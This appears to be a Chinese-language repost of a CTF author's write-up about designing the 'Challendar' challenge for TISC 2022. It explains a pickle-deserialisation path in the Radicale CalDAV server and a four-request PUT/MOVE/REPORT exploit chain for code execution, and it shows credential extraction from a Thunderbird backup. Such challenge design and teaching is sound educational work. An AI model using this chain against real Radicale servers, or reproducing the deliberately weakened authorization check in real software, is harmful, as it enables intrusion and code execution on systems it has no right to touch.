Challendar: 为TISC 2022创建CTF挑战
虽然我不主动参加CTF比赛,但我喜欢创建CTF挑战,因为这迫使我在实践中学习。创建一个好的CTF挑战是一门艺术,而不是科学。作为去年3万美元The InfoSecurity Challenge(TISC)的获胜者,我决定今年贡献一个挑战。
你可以在我的GitHub上查看这个挑战。
设计原则 🔗
教育性:根据我的经验,一些最好的CTF挑战是那些能教你东西的挑战。无论是一个有趣的加密协议还是奇怪的内容安全策略处理,学习新东西总是让所有的时间和痛苦变得值得。我的挑战围绕CalDAV协议设计,这是一个研究不足的WEBDAV超集(本身是HTTP的超集),从默认的iOS日历到物联网设备都在使用。在DEF CON 30上,我介绍了iCalendar文件格式,但没有披露我对相应通信协议的其他研究。
真实性:最终,所有CTF挑战都应用了一定程度的人为设计,但我尝试通过使用真实的开源代码尽可能保持真实。此外,我尝试确保利用向量是逻辑的,并最终可以向大多数人解释。我想通过代码审查重现Web漏洞研究的日常经验。
透明性:黑盒挑战往往依赖“通过 obscurity 增加难度”,这可能会令人沮丧。我构建了一个白盒挑战,所有相关代码都对参与者可用。
挑战性:Web往往是CTF挑战中最简单的类别之一,因为Web漏洞是众所周知的且相当容易利用。我希望能为TISC打破这个假设。尽管参与者拥有源代码,但我强迫他们通过阅读RFC并希望构建独特的有效载荷来走得更远。
最后,也是最重要的,我希望挑战是…优雅的。
没有暴力破解。没有猜测。没有盲目利用。
还有一个反向shell。
几乎漏洞 🔗
漏洞研究中最痛苦的部分之一是发现一个潜在的利用,却意识到由于清理、验证或某种转换,从攻击者控制的输入到漏洞代码的路径被阻塞了。这些几乎漏洞诱人地悬在够不到的地方,让你夜不能寐。
Radicale(最流行的开源CalDAV服务器之一)中存在一个几乎漏洞(也称为“非漏洞”)。CalDAV服务器的主要工作是处理iCalendar文件。为此,它使用POST、PUT、DELETE等HTTP方法以及CalDAV/WebDAV特定方法,如MKCALENDAR、REPORT、PROPFIND、MOVE、COPY来读写这些文件。每个iCalendar文件集合在存储中表示为一个文件夹,对应一个用户或日历。
除了iCalendar文件,Radicale还依赖标准库pickle来存储日历元数据,如历史记录在序列化的pickle文件中。这是一个众所周知的代码执行向量,因为当函数调用pickle.load()反序列化pickle时,它也会调用存储在pickle文件中的类的__reduce__函数,攻击者可以轻松修改该函数。
Radicale在三个不同的位置使用pickle.load(),其中之一是storage/multifilesystem/sync.py:
class CollectionPartSync(CollectionPartCache, CollectionPartHistory,
CollectionBase):
def sync(self, old_token: str = "") -> Tuple[str, Iterable[str]]:
# ...
if old_token_name:
# load the old token state
old_token_path = os.path.join(token_folder, old_token_name)
try:
# Race: Another process might have deleted the file.
with open(old_token_path, "rb") as f:
old_state = pickle.load(f)
为了到达这行代码,服务器必须调用CollectionPartSync类中的sync方法。这个调用发生在app/report.py中:
def xml_report(base_prefix: str, path: str, xml_request: Optional[ET.Element],
collection: storage.BaseCollection, encoding: str,
unlock_storage_fn: Callable[[], None]
) -> Tuple[int, ET.Element]:
"""Read and answer REPORT requests.
Read rfc3253-3.6 for info.
"""
# ...
elif root.tag == xmlutils.make_clark("D:sync-collection"):
old_sync_token_element = root.find(
xmlutils.make_clark("D:sync-token"))
old_sync_token = ""
if old_sync_token_element is not None and old_sync_token_element.text:
old_sync_token = old_sync_token_element.text.strip()
logger.debug("Client provided sync token: %r", old_sync_token)
try:
sync_token, names = collection.sync(old_sync_token)
因此,通过发送一个REPORT请求,其XML正文包含D:sync-collection作为根元素以及一个D:sync-token子元素,Radicale将到达易受攻击的unpickle函数。回顾storage/multifilesystem/sync.py,我们看到sync-token值必须满足更多条件:
class CollectionPartSync(CollectionPartCache, CollectionPartHistory,
CollectionBase):
def sync(self, old_token: str = "") -> Tuple[str, Iterable[str]]:
# ...
def check_token_name(token_name: str) -> bool:
if len(token_name) != 64:
return False
for c in token_name:
if c not in "0123456789abcdef":
return False
return True
old_token_name = ""
if old_token:
# Extract the token name from the sync token
if not old_token.startswith("http://radicale.org/ns/sync/"):
raise ValueError("Malformed token: %r" % old_token)
old_token_name = old_token[len("http://radicale.org/ns/sync/"):]
if not check_token_name(old_token_name):
raise ValueError("Malformed token: %r" % old_token)
这些是基于字符串的相当简单的检查(http://radicale.org/ns/sync/<64个字符长的小写十六进制字符串>)。然而,另一个问题在于服务器读取pickle文件的路径:
token_folder = os.path.join(self._filesystem_path,
".Radicale.cache", "sync-token")
token_path = os.path.join(token_folder, token_name)
old_state = {}
if old_token_name:
# load the old token state
old_token_path = os.path.join(token_folder, old_token_name)
try:
# Race: Another process might have deleted the file.
with open(old_token_path, "rb") as f:
old_state = pickle.load(f)
文件必须存在于///.Radicale.cache/sync-token/。起初,这似乎是可写的,因为用户可以使用PUT方法写入其集合中的任何位置。不幸的是,Radicale采用了多种清理和验证方法来避免这种情况:
def sanitize_path(path: str) -> str:
"""Make path absolute with leading slash to prevent access to other data.
Preserve potential trailing slash.
"""
trailing_slash = "/" if path.endswith("/") else ""
path = posixpath.normpath(path)
new_path = "/"
for part in path.split("/"):
if not is_safe_path_component(part):
continue
new_path = posixpath.join(new_path, part)
trailing_slash = "" if new_path.endswith("/") else trailing_slash
return new_path + trailing_slash
def is_safe_path_component(path: str) -> bool:
"""Check if path is a single component of a path.
Check that the path is safe to join too.
"""
return bool(path) and "/" not in path and path not in (".", "..")
def is_safe_filesystem_path_component(path: str) -> bool:
"""Check if path is a single component of a local and posix filesystem
path.
Check that the path is safe to join too.
"""
return (
bool(path) and not os.path.splitdrive(path)[0] and
(sys.platform != "win32" or ":" not in path) and # Block NTFS-ADS
not os.path.split(path)[0] and path not in (os.curdir, os.pardir) and
not path.startswith(".") and not path.endswith("~") and
is_safe_path_component(path))
特别是,所有与写相关的方法都对每个路径段调用is_safe_filesystem_path_component,它检查not path.startswith(“.”),从而阻止对.Radicale.cache文件夹的写入。可悲!
借助朋友的一点帮助 🔗
幸运的是,这是一个CTF挑战,所以我可以创建一个场景来使这个几乎漏洞可利用。为了保持CalDAV主题,我基于Golang扩展标准库golang.org/x/net/webdav编写了一个“beta”CalDAV服务器。我编造了一个故事,说一个茫然的开发人员试图通过使用与Radicale服务器相同的根集合文件夹来构建一个向后兼容的Radicale替代品。我还添加了与Radicale相同的授权检查,但排除了关键的not path.startswith(“.”)检查。
func checkIsAuthorized(req *http.Request) error {
// should already be authorized
username, _, _ := req.BasicAuth()
urlParts := strings.Split(req.URL.Path, "/")
// users can only access their own resources
if username != urlParts[1] || len(urlParts) > 4 {
return ErrNotExist
}
return nil
}
func main() {
// Backward-compatible with with our current Radicale files
passwords, _ := ParseHtpasswdFile("/etc/radicale/users")
fs := &webdav.Handler{
FileSystem: webdav.Dir("/var/lib/radicale/collections/collection-root"),
LockSystem: webdav.NewMemLS(),
}
http.HandleFunc("/", func(w http.ResponseWriter, req *http.Request) {
username, password, ok := req.BasicAuth()
if !ok {
w.Header().Set("WWW-Authenticate", `Basic realm="CalDavServer - Password Required"`)
w.WriteHeader(http.StatusUnauthorized)
return
}
err := bcrypt.CompareHashAndPassword([]byte(passwords[username]), []byte(password))
if err != nil {
http.Error(w, "Access to the requested resource forbidden.", http.StatusUnauthorized)
return
}
err = checkIsAuthorized(req)
if err != nil {
http.Error(w, "Access to the requested resource forbidden.", http.StatusUnauthorized)
return
}
switch req.Method {
// To update to CalDAV RFC... been taking too many coffee breaks
case "PROPFIND", "PROPPATCH", "MKCALENDAR", "MKCOL", "REPORT":
http.Error(w, "Method not implemented.", http.StatusNotImplemented)
return
}
fs.ServeHTTP(w, req)
})
http.ListenAndServe(":4000", nil)
}
不幸的是,这个懒惰的开发人员甚至还没有编写CalDAV特定的方法!然而,他们创建了一个简单的授权检查,也不经意地阻止了直接写入///.Radicale.cache/sync-token/。要做到这一点,他们需要发送一个PUT ///.Radicale.cache/sync-token/请求,这将超过4个URL路径段并失败checkIsAuthorized。
然而,并非一切都失去了。WebDAV还支持COPY和MOVE方法,这些方法将文件移动到Destination头中指定的位置,而不是请求路径。因此,攻击者可以先写入///,然后复制/移动到最终的有效载荷目的地。
总的来说,解决方案只需要4个Web请求即可实现RCE:
# generate sync-token folder
session.request("REPORT", RADICALE_URL+"/"+USERNAME+"/default", data=generate_sync_token)
# upload payload
session.put(DEV_SERVER_URL+"/"+USERNAME+"/payload", data=pickle.dumps(RCE()))
# move payload
session.request("MOVE", DEV_SERVER_URL+"/"+USERNAME+"/payload", headers={"Destination":DEV_SERVER_URL+"/"+USERNAME+"/default/.Radicale.cache/sync-token/"+SYNC_TOKEN_NAME})
# execute payload
session.request("REPORT", RADICALE_URL+"/"+USERNAME+"/default", data=execute_payload)
事情分崩离析 🔗
基本场景工作后,我充实了挑战的其余部分。为了向参与者提供日历凭据和URL,我创建了一个简单的Thunderbird备份,该备份同步到Radicale和开发日历服务器。这更多地是为了传递信息,而不是提出任何挑战;像firepwd这样的工具可以轻松提取这些信息:
participant@ctf:~/firepwd$ python3 firepwd.py -d backup/
decrypting login/password pairs
http://calendarserver:<PORT OF RADICALE SERVER>:b'jrarj',b'H3110fr13nD'
http://calendarserver:<PORT OF DEVELOPMENT SERVER>:b'jrarj',b'H3110fr13nD'
Radicale和开发日历服务器在不同的端口上运行。参与者可以轻松识别Radicale服务器,因为默认情况下Radicale的索引重定向到/.web,返回消息Radicale works!。从那里,他们可以在GitHub上查找Radicale的源代码。挑战向参与者提供了开发日历的源代码,不需要任何识别。
就这样,我把它全部打包在一个简单的Dockerfile中,并发送进行游戏测试!
# Challendar
## Introduction
PALINDROME suffers from Not Invented Here symdrome. They assigned an intern to build a replacement for their current calendar server! Luckily we managed to intercept their backups. Can you break in?
## Files
`caldavserver.go`
`backup.zip`
虽然反馈很好,但我发现有一些非预期的解决方案。还记得Radicale在三个不同位置使用pickle.load()吗?除了storage/multifilesystem/sync.py,它们还出现在storage/multifilesystem/cache.py和storage/multifilesystem/history.py中。事实证明,在写入用于其他两种方法的文件后,攻击者可以通过简单地发出GET请求到相应的日历项来触发有效载荷。Radicale会尝试加载项的缓存和历史记录,反序列化pickle文件。我想限制参与者使用sync.py代码路径,因为它要求他们使用REPORT方法并制作一个通过所有验证检查的XML正文。
但我如何阻止这些非预期的解决方案?我可以更改Radicale的源代码,但这会影响透明设计原则,并使参与者困惑他们是否真的在处理Radicale服务器。我还可以在开发日历代码中阻止写入特定文件夹,例如.Radicale.cache,用于MOVE和COPY,但这会太明显。
在辩论了几个变通方案后,我最终妥协了一点,设置了一个nginx反向代理,位于Radicale服务器前面。这个nginx实例阻止了GET方法以及其他几个方法(以免明显我只想阻止GET),借口是它正在开发中:
location /radicale/ {
if ($request_method ~ ^(GET|PATCH|TRACE)$ ) {
return 405 "Method temporarily disabled during development";
}
if ($request_method ~ ^(MOVE|DELETE|PROPPATCH|PUT|MKCALENDAR|COPY|POST)$ ) {
return 403 "Read-only access during development";
}
proxy_pass http://localhost:5232/;
proxy_set_header X-Script-Name /radicale;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $http_host;
proxy_pass_header Authorization;
}
虽然这是一个削弱透明设计原则的痛苦决定,但我希望影响有限,因为参与者可以轻松枚举哪些方法被阻止。
这一变化也使其更具挑战性。由于方法被阻止,参与者无法使用CalDAV客户端浏览Radicale服务器。相反,他们必须手动制作PROPFIND请求(最好将Depth头设置为infinity)来检索用户的可写日历。
对于这个挑战,那是jrarj/default。
游戏测试中出现的另一个问题是可能的破坏或解决方案泄露,因为参与者创建的文件对其他人可见。如果参与者获得RCE,他们将作为root运行,允许他们覆盖任何文件。为了防止这种情况,我使用了一个radicale受限用户和一个以1分钟间隔运行的清理脚本。
每个人都有计划,直到他们被一拳打在嘴上 🔗
任何组织过CTF的人都会理解准确估计挑战难度是多么困难。虽然我最初估计挑战大约需要6小时,但游戏测试后估计需要大约1-2天。然而,在实际比赛中,在第一个参与者到达我的挑战7天多后,没有人解决它。由于TISC要求参与者解决我的第7级挑战才能进入奖金挑战,我开始与组织者合作发布提示。总共在几天内发布了3个提示。
-
将此视为代码审查挑战。我们还提供了其中一台服务器的反向代理配置。:这是为了通过提供nginx配置来消除任何进一步的歧义。此时,挑战的所有相关代码都对参与者可用。第一句话还指导参与者避免猜测并使用白盒方法。
-
你可以在RFC中(PROP)FIND你需要的东西。2. 对可能性开放(源)你的思维。3. 看看你可以使用的其他HTTP方法。:这是为了引导参与者关注替代的CalDAV方法以及Radicale代码。
-
两台服务器住在同一个地方。为什么?也许你需要一台服务器的帮助来利用另一台。瞄准代码执行。如果一个太小而无法做任何事情,仔细看看更大的代码库:这是为了大大缩小参与者的搜索空间以找到漏洞。TISC接近尾声,我希望参与者能赢得一些奖金!
在第三个提示之后,第一个参与者在第二天解决了它,其他人很快也解决了。
由于长时间的延迟,我担心我的挑战设计出乎意料地需要猜测或已损坏。我定期检查解决方案是否有效。幸运的是,在TISC结束后,我收到了良好的反馈,称挑战是“那种好的卡住”,因为解决方案的路径是有意义的。然而,我希望我能更多地调整设计以避免需要提示。
设计挑战还显示了游戏测试和平衡各种设计原则的重要性。平衡挑战性和透明性需要一些妥协,但也迫使我构建了一个更优雅(在我看来!)的挑战。
最终,我希望参与者能学到一些关于无处不在但遗留标准的有用知识。此外,我希望他们能深入了解代码审查的过程。祝贺获胜者!
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
公众号二维码